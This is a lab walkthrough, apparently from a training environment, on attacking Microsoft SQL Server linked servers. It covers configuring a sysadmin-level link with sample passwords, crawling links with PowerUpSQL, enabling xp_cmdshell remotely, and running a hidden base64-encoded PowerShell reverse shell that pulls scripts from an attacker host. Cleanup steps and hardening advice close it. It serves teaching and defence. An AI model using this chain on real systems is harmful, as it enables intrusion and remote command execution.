Database-Links

SQL Servers can be configured to link to other SQL Servers.

Configuring

Prerequisite

Normal domain user access

Configuring SQL user on Data01

1. Login to DATA01 as the Administrator user with password Welcome01!.

2. Open "Microsoft SQL Server Management Studio".

3. Login with the Administrator user using Windows Authentication.

4. Right click on the server object "Data01\Data (SQL Server 15.0.2000.5)" and select "Properties".

5. Open the "Security" tab and select "SQL Server and Windows Authentication mode" under "Server authentication".

6. Open "SQL Server 2019 Configuration Manager"

7. Restart the two SQL services with "DATA" in their name.

8. Open "Microsoft SQL Server Management Studio".

9. Expand "Security" and "Logins". Then right click on "Logins" and select "New Login".

10. Fill in the login name SQL_link and password Eo6#jAzonQhw . Then make sure the three password flags "Enforce Password policy", "Enforce password expiration" and "User must change password at next login" are unselected.

11. In the tab "Server Roles" select "setupadmin" and "sysadmin" and click "OK".

12. In the tab "User Mapping" select "Bank Transfers".

Configuring SQL link

1. Login to WEB01 as the Administrator user with password Welcome01!.

2. Open "Microsoft SQL Server Management Studio".

3. Login with the Administrator user using Windows Authentication.

4. Expand the "Server Objects" and "Linked Servers". Then right click on "Linked Servers" and select "New Linked Server".

5. Fill in Data01.secure.local and select "SQL Server".

6. Open the "Security" tab and select "Be made using this security context". Then fill in the credentials we created in the previous section. SQL_link and password Eo6#jAzonQhw .

7. Open the "Server Options" tab and select True for "RPC Out". This is done so we can enable xp_cmdshell during the attack.

Step 7 could be skipped and then it could be enabled during the attack after getting sa privileges on Web01 database using the following query:

EXEC sp_serveroption @server='DATA01.SECURE.LOCAL', @optname='rpc out', @optvalue='True'

8. Click "OK" and the linked server should show up.

Attacking

How it works

SQL Servers can be linked together to access data on the linked SQL Server. The link is created using a security context, this could be a SQL user or a domain user. The link will have the permissions from the user. If the user has sysadmin privileges it is possible to execute queries as sysadmin.

If xp_cmdshell is enabled on the linked server it is possible to execute commands. Or if RPCOUT is enabled it is possible to enable xp_cmdshell.

Tools

• PowerupSQL
• Heidisql

Executing the attack

1. Download PowerUpSQL on the kali machine and host it on a webserver:

wget https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1
python3 -m http.server 8090

2. Login to WS01 as Richard with the password Sample123.

3. Start PowerShell and download and execute an amsi and PowerUpSQL in memory:

3. With PowerUPSQL and the Get-SQLServerLink cmdlet we can query the SQL Server links from the current domain.

Get-SQLInstanceDomain | Get-SQLServerLink.

4. The output shows that web01.amsterdam.bank.local has a SQL Server link to DATA01.secure.local. A link that is to another domain. The output also shows that rpc_out is enabled. With the cmdlet Get-SQLServerLinkCrawl we can execute a query through the linked servers.

Get-SQLInstanceDomain | Get-SQLServerLinkCrawl -Query 'select @@version'

We wont see the data from the SQL Query since its wrapped into the CustomQuery object. It is also queried to both SQL Servers.

5. With the parameter -QueryTarget we can select a target instance to query.

Get-SQLInstanceDomain | Get-SQLServerLinkCrawl -Query 'select @@version' -QueryTarget DATA01\DATA | Select-Object -ExpandProperty CustomQuery

Connecting with HeidiSQL

1. Download HeidiSQL on WS01.
2. To execute SQL queries and look into the database start heidiSQL.

3. Click on "New" on the left bottom and configure the following settings:

• Network Type: Microsoft SQL Server (TCP/IP)

• Library: SQLOLEDB

• Hostname / IP: WEB01.amsterdam.bank.local

• Select: "Use Windows Authentication"

• Port: 1433

4. Click "OK" on the security Issue warning.

5. In the "Query" tab fill in the following to query the SQL Links:

SELECT * FROM master..sysservers;

6. We discovered the same SQL server link as earlier. We can query the server with the following query:

SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'select @@version');

7. We can query the server to check if xp_cmdshell is on:

SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');

8. The value 0 means xp_cmdshell is disabled. We can try to enable xp_cmdshell with the following queries:

EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT "DATA01.SECURE.LOCAL"
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT "DATA01.SECURE.LOCAL"

9. When we check if xp_cmdshell is enabled we see it is enabled now.

10. We can execute commands using the EXECUTE function.

EXECUTE('exec master..xp_cmdshell ''whoami''') AT "DATA01.SECURE.LOCAL"

11. We could get a reverse shell by executing the following query using the technique from:

Reverse shell trick

EXECUTE('exec master..xp_cmdshell ''powershell.exe -w hidden -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIANAA4AC4AMgA6ADgAMAA5ADAALwBhAG0AcwBpAC4AdAB4AHQAIgApADsAIABpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA=''') AT "DATA01.SECURE.LOCAL"

Cleanup

1. Execute the following query in HeidiSQL to disable xp_cmdshell again:

EXEC('sp_configure ''xp_cmdshell'', 0; reconfigure;') AT "DATA01.SECURE.LOCAL"
EXEC('sp_configure ''show advanced options'', 0; reconfigure;') AT "DATA01.SECURE.LOCAL"

Defending

Recommendations

• Configure the SQL_Link with the least privilege possible, dont use the sysadmin role.

• Disable xp_cmdshell on the SQL Server.

• Disable RPC OUT on the SQL Server.

Detection

References